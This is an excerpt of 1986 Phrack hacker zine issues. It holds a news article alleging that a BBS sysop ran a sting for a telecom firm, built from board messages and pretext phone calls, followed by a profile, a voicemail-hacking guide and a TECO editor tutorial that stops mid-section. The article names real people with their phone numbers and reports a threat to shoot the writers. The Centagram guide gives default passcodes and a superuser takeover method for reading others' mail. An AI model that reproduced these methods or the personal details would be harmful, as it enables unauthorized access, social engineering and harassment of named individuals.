Msg#: 7961 *COMMUNICATIONS*

06/23/86 17:15:41 (Read 47 Times)

From: BLADE RUNNER

To: ALL

Subj: TMC

I was wandering around some guys hard drive this weekend and found some AT&T mail regarding TMC. From what I understand TMC is involved in the AT&T AGETRIAL project. Which indicates to me that TMC is also into computers and consequently knows what a hacker is. Another thing that was found was some information on the 1PSS switch that has been developed by AT&T and has already been deployed in dome BOCS and other communications networks. This troubles me in that this is the first that I have heard about it. I meant to say that it has been deployed on some networks already. If you have any valid information on the 1PSS SWITCH please post it and it will show up in the P.H.I.R.M. update issue for July, giving you credit for the information of course.

BLADE RUNNER (PRESIDENT)

P.H.I.R.M.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 8456 *COMMUNICATIONS*

07/13/86 13:48:51 (Read 75 Times)

From: SCAN MAN

To: SHAWN (Rcvd)

Subj: REPLY TO MSG# 7691 (GENERAL)

GOT ANY CODES FOR 800‑451‑2300?

[***IMPORTANT*** This is TMC's Miami, Florida dial‑up. An interesting request from the sysop of one of the nation's top code boards. For those of you who remember it was Scan Man who asked the infamous Whacko Cracko Brothers, Inc. {See PWN Issue II, "The Life And Crimes of The Whacko Cracko Brothers, Inc."} to scan some codes on a certain dial‑up just before they were arrested. Now he is asking Shawn for TMC codes, kinda interesting that Shawn got investigated less than a week later by TMC Security Department isn't it?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 8970 *COMMUNICATIONS*

08/10/86 06:41:48 (Read 34 Times)

From: SHAWN

To: SCAN MAN (Rcvd)

Subj: REPLY TO MSG# 8456 (GENERAL)

Well sorry it took me so long to find this message I kept forgetting to look at this one. Anyway if you really need some [codes, referring to the last message] I can dig some up easy enough well hack some I should say noting you can get about 100 in a matter a 10 or 15 minutes so its no big deal to me either way also watch 800 637 7377 I'm telling you now people that this company has tracing stuff and I have talked with them they offer me a job and I'm goin to take it but dont worry I'm not goin to be busting people I have to make it so you guys cant get in notin it is very easy to make it at least very hard to do ho well be careful.

[Be careful indeed! 800‑637‑7377 is TMC's Las Vegas dial‑up. What would you do if you were about to lose your computer and maybe your freedom? Work for the other side? The kid really has a way with words, I haven't seen spelling and grammer like that since first grade. As for his not busting people, isn't that a laugh, he has already stated that he will bust anyone he can starting with the lower level phreaks who are only into code abuse.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 8974 *COMMUNICATIONS*

08/10/86 13:14:13 (Read 34 Times)

From: JOHNNY ROTTEN

To: ALL

Subj: PHREAKERS QUEST

To all users of Phreaker's Quest...

What happened to it? It just rings. If you have any info. Leave mail or whatever.

<Johnny Rotten>

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 9058 *COMMUNICATIONS*

08/13/86 06:58:12 (Read 30 Times)

From: SHAWN

To: JOHNNY ROTTEN

Subj: REPLY TO MSG# 8974 (PHREAKERS QUEST)

Well you see I came very close to getting busted they called my voice line that is TMC of 800 637 7377 and I have never given it out to anyone at all [I bet!] so I knew that i was in for it they told me they knew I ran a board and they said they could not get in I kept deleted them haha anyways I had 2 choices 1 take it down 2 get busted.

[Wonder how they got your home number Shawn? Did you give it out for validation on Pirate‑80? Maybe around the time of the "Bi‑annual userlog cleanup"? Or, could it be the cops are smart enough to ask the phone company for any other line running into a house where a suspect BBS is running?]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 9052 *COMMUNICATIONS*

08/12/86 19:10:47 (Read 29 Times)

From: JIM RATH

To: ALL

Subj: TMC

Listen people... it is time to stop screwing with TMC.. (7377 number). Our good friend Shawn of Phreakers Quest just had his BBS put down from them. Shawn met some guy from TMC, and they have had ANI on the number for months now. If you value your own security, throw away any and all TMC information NOW, or you might be suffering the consequences later.

For details on the "Bust" call Theives Underground II. It's SCARY!

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 9054 *COMMUNICATIONS*

08/12/86 23:50:02 (Read 28 Times)

From: SCAN MAN

To: JIM RATH (Rcvd)

Subj: REPLY TO MSG# 9052 (TMC)

Where is Thieves Underground located?

[Why is Scan Man so interested in what Shawn is saying about his experience with TMC? I mean plenty of people on Pirate‑80 have run‑ins with some form of security everyday and he doesn't go researching them, why is this "TMC Run‑IN" so important to him? Maybe he has a personal reason to be interested, then again maybe not.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 9086 *COMMUNICATIONS*

08/14/86 13:36:37 (Read 25 Times)

From: JIM RATH

To: SCAN MAN (Rcvd)

Subj: REPLY TO MSG# 9054 (TMC)

I believe TU is in Texas somewhere.. dunno where exactly (never really bothered remembering).. 214 AC though

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Msg#: 9110 *COMMUNICATIONS*

08/15/86 03:54:20 (Read 16 Times)

From: SHAWN

To: JIM RATH (Rcvd)

Subj: REPLY TO MSG# 9052 (TMC)

If you want some details why dont you just ask me seeing as though i would be the one to ask the TU only knows what i tell him and scan man i need to talk with you about this they did have an idea of some things going on here and so one i would rather say it to yo then type it in

shawn

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Indeed, what is going on here Shawn? Just what did TMC mention about Pirate‑80? And why not post it in on the public boards? For the answer to that maybe one could talk to Jeff Namey who works for TMC and is very proud to acclaim the efforts of one Scott Higgonbotham and his sting BBS Pirate 80 which has, in his own words, "Saved my company from near bankruptcy at the hands of the hackers."

It is also interesting to note that Scan Man recently admitted to being a computer security consultant in Phrack Pro‑Phile IV. He said his boss didn't know about his outside phreak/hack interests.

Scan Man also claims to have infiltrated various security organizations. I wonder if he has infiltrated or simply joined as a regular member.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following are highlights of a conversation with Ben Graves of TMC, around August 25th or 26th (SR=Sally Ride BG=Ben Graves):

SR: Mr. Graves I need to talk to you about one of your employee's a Scott Higgonbotham (Scan Man).

BG: What about Scott?

SR: Well, my company is concerned with the impact of computer hackers on our business. Scott attended a convention in Miami around January and gave his business card to one of our security people. I'm following up on their conversation with the idea that perhaps my company could be given access to Scott's electronic bulletin board. In this way we could monitor for hackers abusing our codes.

BG: That may be something we can arrange. I know that Scott has been a great help to TMC since we were able to pick him up. We began to have a big problem with hackers awhile back and Scott seems to have some of the answers. He's not in right now, can I have your number and I'll have him call you back?

SR: You sure can. So, Scott's bulletin board has helped you reduce your losses to toll fraud?

BG: Well, that's just one of the ways Scott has used to work on the problem. But, he has been very effective.

SR: Thanks, Ben, I'll be waiting for the call.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following are highlights of conversation with Pauline Frazier of TMC from around September 5, 1986 (Sally Ride: SR Pauline Frazier: PF)

Operator: TMC, may I help you?

SR: Yes, Ben Graves, please.

Operator: I'm sorry, Mr. Graves is no longer employed here.

SR: Oh!? Well, is Scott Higgonbotham in?

Operator: One moment, please.

PF: Hello, this is Pauline Frazier, I'm the office manager, may I help you?

SR: Well, maybe, I was trying to reach Ben Graves, I just talked to him last week about another one of your employees, Scott Higgonbotham, now the receptionist says Ben no longer works here.

PF: Yes, that is true, and neither does Mr. Higgonbotham.

SR: May I ask why?

PF: I'm really not able to say much, I think you should talk to our Regional Security Director, Kevin Griffo, he's on 804‑625‑1110. He could tell you much more than I can.

SR: O.K., but maybe I should tell you why I'm interested. I was talking to Ben about an electronic bulletin board Scott is running. My company has someone on it and we're concerned that things might not be legal on there. There are access codes being posted of my company's and yours'. Could that be why they're no longer employed?

PF: Do you mean he is posting TMC codes on there?

SR: Well, I can't say he's the one posting the codes, but he is letting them be posted, along with a lot of other information such as computer logins and passwords.

PF: Well, you know I never did like it when they hired that fellow. And, I told them so, too. When he started we had a problem with toll fraud, but nothing like it is now. He was able to catch a few of those hackers while he was here, and we pressed charges, but the problem just seemed to get worse and worse.

SR: So, he actually had some hackers arrested?

PF: Yes, several. He started working here in Charleston and then they sent him to New York when things got bad up there. But, things never have gotten any better since he's started here or in New York either. Sir, please, call Mr. Griffo about all this he can tell you more than I.

SR: I will. Do you think he'd be in now?

PF: Well, it's late here and he's probably gone home, try Monday.

SR: Thanks, I will.

(But you told me plenty, sweetheart!)

[For the record I had a VERY similar chat with Pauline Frazier, it turned up the same results.]

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The following are highlights of a conversation with Kevin Griffo, TMC, September 9th (Sally Ride: SR Kevin Griffo: KG).

Oper: TMC, may I help you?

SR: Yes, Kevin Griffo, please.

Oper: His line is busy now, can he call you back?

SR: Well, this is urgent, may I hold?

Oper: Certainly, I'll let him know you're holding.

KG: Hello, this is Kevin.

SR: Mr. Griffo I've been referred to you by one of your Charleston employees, Pauline Frazier. She felt I should tell you what I told her yesterday about one of your now former employees, I think, Scott Higgonbotham.

KG: Yeah, we let him go just last week. What about him?

SR: My company feels Scott is running an illegal BBS and has for sometime been allowing access codes to be posted. Codes for your company's toll switches as well as ours and other's are being entered on his system as well as computer system logins and passwords.

KG: Well, I'm not surprised. I have been to Scott's home to see the bulletin board. I knew codes were being posted, but I thought he was taking care of reporting them.

SR: May I ask why you let him go?

KG: Certainly, Scott just wasn't solving our problems. In fact, some of our people have thought he was somewhat to blame for many of them. Even though, at first, he appeared to be the answer. He was able to identify several computer hackers for us.

SR: So, he did bust some hackers? Has he done so recently? I think a young man using the name Shawn on the bulletin boards was recently identified by your company.

KG: No, he hasn't gotten anyone recently that I'm aware of, but he could have turned them over to one of the local franchises. You see TMC is a franchise operation. We try to help the franchises, but many do their own thing. We wouldn't necessarily know about all that goes on.

SR: I'm sorry to hear you had this trouble. Perhaps, my company could be of assistance. We do work of a similar nature.

KG: I'd certainly be interested in any help you could give. Can you put together a written proposal?

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I also had an interesting conversation with Larry Algard of Pacific Northwest Bell. He confirmed that he had met Scott Higgonbotham at the Miami CFCA conference last January. He also mentioned that Scott had told him about his "sting" bulletin board, Pirate‑80 in West Virginia.

For those who are interested:

TMC (Charleston Office).......................304‑345‑7275

Pauline Frazier, Office Manager (TMC).........See above

Jeff Namey, Accounts Receivable (TMC).........304‑744‑6555

TMC (Miami Office)............................305‑371‑3544

TMC (Tidewater)...............................804‑625‑1110

Larry Algard (Pacific North West Bell)........503‑242‑8862

Pacific North West Bell (Employee Directory)..800‑426‑7039

Or write to; TMC

405 Capitol St.

Parlor Suite

Charleston, West Virginia 25301

All the thoughts in []'s and other information are the insane ramblings of Sally Ride:::Space Cadet and Knight Lightning, you tell me, are we spaced out or what?! The TMC employee interviews were by Sally Ride:::Space Cadet with me doing the background information.

It was at this point in time that we decided to have a talk with Scan Man directly and give him a chance to clear his name and reputation.

Unfortunately, Scan Man was very uncooperative and constantly avoided answering the questions I asked him. He also added that everything said in the interviews were lies. He claims that Kevin Griffo has never been to his house, he doesn't know Ben Graves, and Pauline Frazier hated him because she knew he was a hacker.

He then went on to imply that Sally Ride:::Space Cadet was actually an employee of some communications carrier himself because of the terminology he used in some of his posts on P‑80.

Scan Man claimed that he has been telling people that he worked for TMC for quite some time and he only needed the codes from Shawn because he was going to be in Miami later that week. In other words, Shawn's near bust and his asking for TMC codes may have been a simple coincidence.

He claims to have done system analysis for TMC, but also admitted to securing some of their computer systems, which isn't a crime.

As for his being at the Miami CFCA conference, I will assume that he was infiltrating the con and was spotted as being a hacker. In order to gain the respect and confidence of the security officials, he told them that his bulletin board was a sting. Now, that story completely is believable with the exception of how he arrived, a plane trip paid for by TMC.

Scan Man's last words contained a threat that if this affected his home life, he would personally track down the writers and contributors and shoot them with his rifle.

‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑ ‑

Notes from KL:

One thing that I should mention is the fact that Pirate‑80 has *NEVER* been busted or investigated. I mean its not hard to get onto and there are codes plastered everywhere you look. How many boards do you know of that have been busted for having codes on them? One example of this is with the credit card numbers owned by Richard Sandza, author of "The Night Of The Hackers" and "The Revenge Of The Hackers," both printed in Newsweek Magazine.

"It wasn't long before I found out what was being done with my credit‑card numbers, thanks to another friendly hacker who tipped me to Pirate 80, a bulletin board in Charleston, W. Va., where I found this: 'I'm sure you guys have heard about Richard Standza [sic] or Montana Wildhack. He's the guy who wrote the obscene story about phreaking in NewsWeek [sic]. Well, my friend did a credit card check on TRW...try this number, it's a VISA...Please nail this guy bad...Captain Quieg [sic].'"

See this? This was published in "The Revenge Of The Hackers" in Newsweek Magazine! And what happened to P‑80? Nothing! Here Richard Sandza has just announced to thousands of people that P‑80 has credit card numbers posted on it and nothing happened. Why? The answer to that is left to the reader.

There are a few other things to mention about Scan Man/P‑80/TMC. Supposedly all of the computer equipment that P‑80 runs on was donated by TMC themselves. It is also believed that Scan Man's only duty to the company was to report TMC codes so that they could be turned off. It would appear that this had changed but, we at Phrack Inc. in no way take any opinion whatsoever about the innocence or guilt of Scan Man. We leave it to the reader to decide for him/herself.

I'm sure all parties concerned would appreciate you NOT calling the above numbers if all you plan to do is harass people or anything else among those same lines. After all a job is a job and harassing someone wouldn't do anyone any good either, it would just make them mad. If you are going to call, make sure it is for knowledge purposes only! Above all do NOT call Scan Man to harass him or his innocent family. My suggestion is that if you feel that Scan Man is an informant or whatever, then stop just calling his board.

One last thing, a *VERY* big thank you to Sally Ride:::Space Cadet for a job well done and for all the time he spent working on the article.

Information Provided by

Knight Lightning & Sally Ride:::Space Cadet

and directly/indirectly by

Blade Runner/Evil Jay/Forest Ranger/Icarus 1/Jack The Ripper/Jim Rath Johnny Rotten/Larry Algard/Max Madness/Oryan QUEST/P‑80 Systems/Scan Man/Shawn Suicidal Nightmare/Taran King/The Falcon/TMC Staff

and other Anonymous Sources

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

PS: For those interested, this investigation was sparked by the interception of a memo from Larry Algard (Pacific Northwest Bell) to his boss, George Reay. What was in the memo? Several things, but mostly it spoke of the January CFCA (Communications Fraud Control Association) conference in Miami, Florida where Larry met one Scott Higgonbotham, Security Director for TMC (Tele‑Marketing Company) who told him that he operated a "sting" bulletin board named Pirate 80 in West Virginia.

________________________________________

9

- Introduction to Phrack Inc. Issue Nine by Taran King

- Phrack Pro-Phile on The Nightstalker by Taran King

- Fun With the Centagram VMS Network by Oryan Quest

- Programming RSTS/E File2 by Solid State

- Inside Dialog by Control C

- Plant Measurement by The Executioner

- Multi-User Chat Program for DEC-10's by The Mentor

- Introduction to Videoconferencing by Knight Lightning

- Loop Maintenance Operations System by Doom Prophet & Phantom Phreaker

- Phrack World News VIII by Knight Lightning

Introduction to Phrack Inc. Issue Nine

==Phrack Inc.==

Volume One, Issue Nine, Phile #1 of 10

Introduction

"""""""

Welcome, after an ever‑too‑long gap, to Phrack Inc. Issue Nine! Yes, I've waited too long to do this, but hey, what can I say. We have it together now and the file content is quite good, with some unique new writers as well as some old ones popping up again. Let me once again stress that ANYONE can write for Phrack Inc. You aren't required to be on a particular board, much less a board at all, all you need is some means to get the file to us, as we do not discriminate against anyone for any reason. This Phrack issue contains the following:

#1 Introduction to Phrack Inc. Issue Nine by Taran King (1.4K) #2 Phrack Pro‑Phile on The Nightstalker by Taran King (6.4K)

#3 Fun With the Centagram VMS Network by Oryan Quest (3.9K)

#4 Programming RSTS/E File2: Editors by Solid State (12.9K)

#5 Inside Dialog by Ctrl C (8.4K)

#6 Plant Measurement by The Executioner (12.8K)

#7 Multi‑User Chat Program for DEC‑10's by TTY‑Man and The Mentor (6.5K) #8 Introduction to Videoconferencing by Knight Lightning (10.5K) #9 Loop Maintenance Operations System by Phantom Phreaker and Doom Prophet (17.2K)

Phrack Pro-Phile on The Nightstalker

==Phrack Inc.==

Volume One, Issue Nine, Phile #2 of 10

==Phrack Pro‑Phile VI==

Written and Created by Taran King

9/28/86

Welcome to Phrack Pro‑Phile VI. Phrack Pro‑Phile is created to bring info to you, the users, about old or highly important/controversial people. This month, I bring to you a particularly influential user from days of old...

The Nightstalker

~~~~~~~~~

The Nightstalker was involved with Tap and 8080B, the first home computer which he helped build for NY Telephone.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Personal

~~~~~~~~

Handle: The Nightstalker

Past handles: Stainless Steel Rat, The Old Wazoo, C.T. Handle origin: TV movie and series called "The Nightstalker" Date of Birth: 12/51

Age at current date: 34 years old

Height: 6'+

Weight: 200+ lbs.

Eye color: Blue‑Green

Hair Color: Brownish‑Black

Computers: ALTAIR 8080B, Apple IIe, Commodore 64

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Nightstalker started in the phreak world in 1971 due to the Esquire article on blue boxes and YIPL magazine. He obtained his first blue box by January, 1972. He started hacking in 1975 after obtaining a TI Silent 700 Series, Model 700 exceedingly dumb terminal. He stumbled upon ARPAnet in Massachusetts, the bridge at MIT...1 hour later, he figured out how to get on. He toyed with the MIT exchange and found the MULTICS system and their artificial intelligence system. They were just beginning to use a language called LISP at the time. He also helped with the building of the ALTAIR 8080B, holding 22 slots for cards 4 inches thick, 18 of which were used to get 16K on the computer. He helped out NY Telephone with "Let's Get Together", a game at fairs which utilized Area Codes for answers. He also was involved with the standard old phone phreak tricks like a loop around the world from one phone booth to the one next to it. His first computer was a Commodore 64 due to the cost to him (free) and it was easier to upgrade than the Apple IIe (pick up a brochure on Commodore and see how many voices it has as well as the tone range...I'm sure that it covers 2600 hz quite nicely).

Members of the telecom world which he has met include Cheshire Catalyst, Captain Crunch, Steve Wozniak, and Bill Gates (head of Microsoft). He has met many phone phreaks at science fiction conventions, but doesn't know them by name or handle.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Interests: Telecommunications (modeming, phreaking, hacking), telecomputing, science fiction, short wave radio, scanner listening, classic music, and shooting.

The Nightstalker's Favorite Things

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Women: Goes without saying; preferably ones involved in science fiction as an interest or a hobby.

Sci‑Fi Cons: He attends many and has met many phreaks through them. Short wave radio: As previously mentioned, scanning. Hack: A classic hack (scam), participating in or hearing of. Anarchy: Confusing people with authoritative positions. Shooting: Target shooting or machine guns.

Space programs: Obsessed since Sputnik program.

Most Memorable Experiences

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Machine gun gallery in Atlanta, Georgia. Lots of fun!

First time he hacked his way into a trade show.

Boxing a call to AUTOVON and to Lebanon during U.S. occupancy and billed the call to the local KKK member.

Some People to Mention

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Ron Rosenbaum (wrote the Esquire article on Blue Boxes [all his fault]). Various science fiction authors.

Wozniak and Jobs (for inventing the Apple).

MIT (for inventing the Altair computer).

Marx Brothers (for his anarchial views towards bureaucracy). Robert Shea and Robert Anton Wilson (wrote Illuminatus Trilogy [recommended]). John Draper (for showing us all how it was done).

Original MIT Hackers (for showing us the light).

AT&T (for providing us with this wonderful Network).

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

The Nightstalker is not fond of the current society that claims themselves as hackers or phreakers but don't learn the systems themselves. These aren't the real hackers that sit down and literally hack away at a system. Pirates aren't hackers. Just because you have a computer doesn't mean you're a hacker. Another thing he's displeased about is the term "hacker" used by the media as anyone owning a computer. He considers the people that destroy systems criminals and fiends, not hackers. Those that find the back doors and something unknown about a system non‑malevolently or without profit in mind are true hackers and phreakers.

About computers, The Nightstalker has strong feelings about the symbolisms of the brand names as status symbols in society. He feels, rather than buying the computer because it's the most expensive, the neatest looking, or what everyone else has, you should buy it for it's capabilities which can help you rather than hypothetical situations many computer advertising agencies use.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

I hope you enjoyed this phile, look forward to more Phrack Pro‑Philes coming in the near future. ...And now for the regularly taken poll from all interviewees.

Of the general population of phreaks you have met, would you consider most phreaks, if any, to be computer geeks? He feels that the term, "computer geek" or closer, "geek" is too relative to be able to generalize. There have been people that he's met, though, that he'd not wish to exist on the same planet with. Thanks for your time, Mr. Nightstalker.

Taran King

Fun With the Centagram VMS Network

==Phrack Inc.==

Volume One, Issue Nine, Phile #3 of 10

%%%%%%%%%%%%%%%%%%%%%

%

% Oryan Quest presents... %

%

% Fun With the Centagram VMS Network %

%

% Written 10/13/86 for Phrack Inc. %

%

%%%%%%%%%%%%%%%%%%%%%

Introduction:

Centagram VMS networks are located throughout the country. This file will briefly outline ways of defeating all Centagram security and how to become a superuser. I take full responsibility for any deaths, injuries, or venereal diseases resulted from use of the information in this file.

Finding the idle VMS:

Generally, the easiest way to find an idle VMS is by scanning the last digits in the net (ie: XX99, XX98, XX97 etc.). The idle VMS will identify itself by saying, "Please leave your message at the tone" or something to that effect in a clear, female, synthesized voice. It will not sound unclear in any way. AHA! You've found your victim.

Attacking the idle VMS:

While the "Please leave.." message is playing, hit 0. It will ID itself as "Mailbox XX99, please enter your passcode". If the mailbox does not say the above message then DON'T fuck with it. It is probably in use and any effort you make to hack it will be useless because it will just get taken over again. At this point, you must hack a 4 digit passcode. The usual defaults are as follows are 5000, 9876, 1234, and any # is that order. Usually, most accept 1000, 2000, 3000, etc. I don't think 4 digits is to much to ask. W0W! Your in! It will then tell you how to change your passcode and generally customize your newly stolen VMS.

Hopping around the net:

Suppose you have a friend that has mailbox 5286 and want to read his mail (if you have their passcode) or just want to listen to their announcement. You enter 9 on your VMS command module to logoff while it is saying "You have X messages remaining. Bye!" you enter the # or a 0. It will then ask you for a four digit extension. You enter 5286 and WHAM! you get their announcement. Now, wasn't that fun.

Becoming the superuser:

So, you want to fly higher than no man has ever done before; you want to leap high building in a single bound; you want to be a stud. Well, listen to Oryan, he'll tell you how. Well, remember how you jumped across the net?? You follow the same procedure but, when it asks you for a four digit extension, you enter 9999 or 9998 or even 0000. If you were successful, it will ask you for a second four digit extension. You will have to hack this one on your own. But, I have found on at least 3 nets that it was 1986 or 1987. Gee, people are dumb aren't they? Once you hacked this, it will give you an expanded menu. WOW! You can now, read anyone's mail, take over VMS's and disconnect VMS's. Other commands depend on the net. But you can bet there are always a bunch of k‑rad commands!

Conclusion:

I hope you have enjoyed this file. Watch for updated versions in Phrack. If you have problems finding Centagrams, here are a few nets: 214‑733‑XXXX, 415‑647‑XXXX, 408‑790‑XXXX. I can be reached at 214‑733‑5294. Don't play with my net. If I see idle mailboxes getting taken over I will just get rid of them. There are plenty of other networks. Special thanks to: Taran King Knight Lightning, SJE, The Egyptian Lover, and Ryche. Some added notes: Call the Attila the Hun/Master Blaster loser line at 214‑733‑5283.

Programming RSTS/E File2

==Phrack Inc.==

Volume One, Issue Nine, Phile #4 of 10

$$$$$$$$$$$$$$$$$$$$$$$$

$ PROGRAMMING RSTS/E $

$ File2: Editors $

$ by: $

$ Solid State $ $$$$$$$$$$$$$$$$$$$$$$$$

Written (c) Oct 11, 1986 ‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Within this article I will be focusing on the TECO text editor found on almost every installation of RSTS that you will pass by today. I feel it is unneeded to do a write up on the other editors such as EDT, a screen editor for VT100 and VT52 terminals, and EDFOR, a FORTRAN text editor, as most hackers will not have the proper hardware/software at their disposal. This file does not contain many tricks, but has straightforward information that most assuredly can be found in the user manual. Since not everyone has access to help documents though, this file will provide a base for the first time editor user and hopefully a reference for the experienced. If you feel otherwise.. don't waste your time reading it.

Following the main portion of the file is an updated copy of the decoy trick I promised to revise that was featured in my first file. Hopefully, (I am not promising though), I have succeeded in removing all the bugs this time.

USES

====

A text editor, for those of you that happen to be brain dead, is a utility similar to the word processor you use everyday on your micro: it allows a person to create, modify, and compile text files. But, also can edit, and if need be, create program files. For these reasons and many others, knowing how to use an editor thoroughly can be a major advantage to the hacker on future explorations.

EXECUTING

=========

Typing TECO invokes the TECO text editor. If TECO is just typed without any modifiers, then the file edited last will be placed in the editing buffer. (More on this subject can be found below under MEMORY.) To edit a different file, or create a new file, the following forms are used:

TECO filename.ext To edit an existing file.

TECO outfile.ext=infile.ext To edit from one file to another. MAKE filename.ext To create a new file.

Other ways to execute TECO involve VT terminals, but we are not going into that much detail within this text.

INITIALIZATION

==============

If there is a file named TECO.INI in your directory when TECO is invoked, it is assumed to be the macro settings for a VT terminal. We don't need to bother with those, so make sure to disable the search by appending the switch /NOINI on execution.

MEMORY

======

Each time TECO is executed, the name of the file being edited is placed into another file titled TECFnn.TMP where nn is your job number. If you invoke TECO and wish to edit a file different than the one currently in the memory file, select the switch /NOMEMORY.

MODIFIERS

=========

There are a number of options, called switches, which modify the execution of the TECO utility. Some like /NOINI and /NOMEMORY I have previously mentioned. Other important switches follow along with a short description of each. To select one of these options, append it to the call string when you invoke TECO:

TECO filename.ext /[option1] /[option2] ...

/FIND This places the pointer at

the last marked position

within the input file.

/INSPECT If selected, you can only

read the file, not edit.

There are a few more that deal with the VT terminals, but as I've said already, there is really no need to list them.

INTERRUPT

=========

The control character 'C' (CTRL/C or ^C ‑which it shall from now on be referred to as.) is used to halt the execution of the current TECO command, the same as it does in the BASIC monitor. If ^C is typed twice without a TECO command in between, the utility is aborted. (You are returned to the keyboard monitor whichever it was.. eg. BASIC, BASIC+2, RSX..)

COMMAND EXECUTION

=================

When TECO is called, you will receive the * prompt. This is the command prompt. Almost all commands used by the editor are one or two characters in length and are typed in using a normal ASCII keyboard. To terminate a TECO command the <ESCAPE> sequence is used. When typed, it will echo back as a $ character. Two consecutive <ESCAPE>s must be entered before a command will be carried out. This allows you to string together a line of commands like:

* [command1]$[command2]$[command3]$ ... $$

COMMANDS

========

]Moving the Pointer[

The text pointer is used to represent where you are working, ie. if you were to enter a command, what part of the text it would affect. It's similar to the job your cursor does when writing a program on your micro.

'J'

The "J" command is used to move the text pointer to the beginning or end of the editing buffer.

BJ Move to the beginning of the buffer.

ZJ Move to end of the editing buffer.

'L'

The "L" command moves the text pointer from one line to another. Common forms of the command are:

L Move to beginning of the next line.

0L Move to front of current line.

3L Move to the third line down from the current line. ‑1L Move back to previous line. (One above current.)

...

'C'

The "C" command is used to move the text pointer past a specified number of characters, forward or backwards, on the current line. Common forms include:

C Advance the pointer to the next character.

5C Move the pointer forward five characters.

‑5C Move back five characters.

...

]Listing Text[

There is one command with a couple various forms to list the text within the editor; they follow.

'T'

The "T" is used to list text from the editing buffer. Commonly found forms are:

HT Print the entire contents of the editing buffer.

T Type text from the pointer to the end of the current line. 0T Type text from the beginning of the line to the text pointer. 5T Print the next five lines of text from the buffer, starting where the pointer is located.

...

]Entering Text[

What use is an editor if you can't add to the text? There is one command, insert, which allows you to write. If you are creating a file from scratch, you would enter the insert command each time you wanted to add a new line to your document.

'I'

The "I" command is used to insert text into the buffer. After issued, the text entered will be placed where the text pointer is located. The command is of the form:

I <text> <ESCAPE>

For example, to insert the sentence, "This is an example.", type:

IThis is an example$

(Note: Remember that <ESCAPE> echoes back to your screen as $)

]Deleting Text[

The TECO text editor makes it easy to delete words, sentences, etc. from the buffer. There are two different commands used, line delete, and letter delete.

'K'

The "K" issued when you choose to delete lines of text from the editing buffer. Common forms are as follows:

K Delete the text from the pointer through the end of the current line.

0K Delete the text from the beginning of the line to through the pointer.

5K Omit the following five lines from the buffer.

HK Kill the entire contents of the buffer.

...

'D'

The "D" appropriately is used to delete individual characters. A few of the forms found are:

D Delete the character which follows directly after the text pointer. 5D Delete the following five characters from the text, starting from the pointer.

‑1D Delete the character directly behind the pointer.

...

]Searching[

All good word processors include a routine to search and replace a string of text. So does the TECO text editor. Two forms are used, the locate text, and the search and replace text commands.

'S'

The "S" is used to locate a specified string of text currently in the editing buffer. If the text is found, the pointer is positioned directly after the specified text. If the string is not found, an error message results and the text pointer is placed at the beginning of the buffer.

S <text> <ESCAPE>

For example, to locate "This is an example.", enter:

SThis is an example.$

'FS'

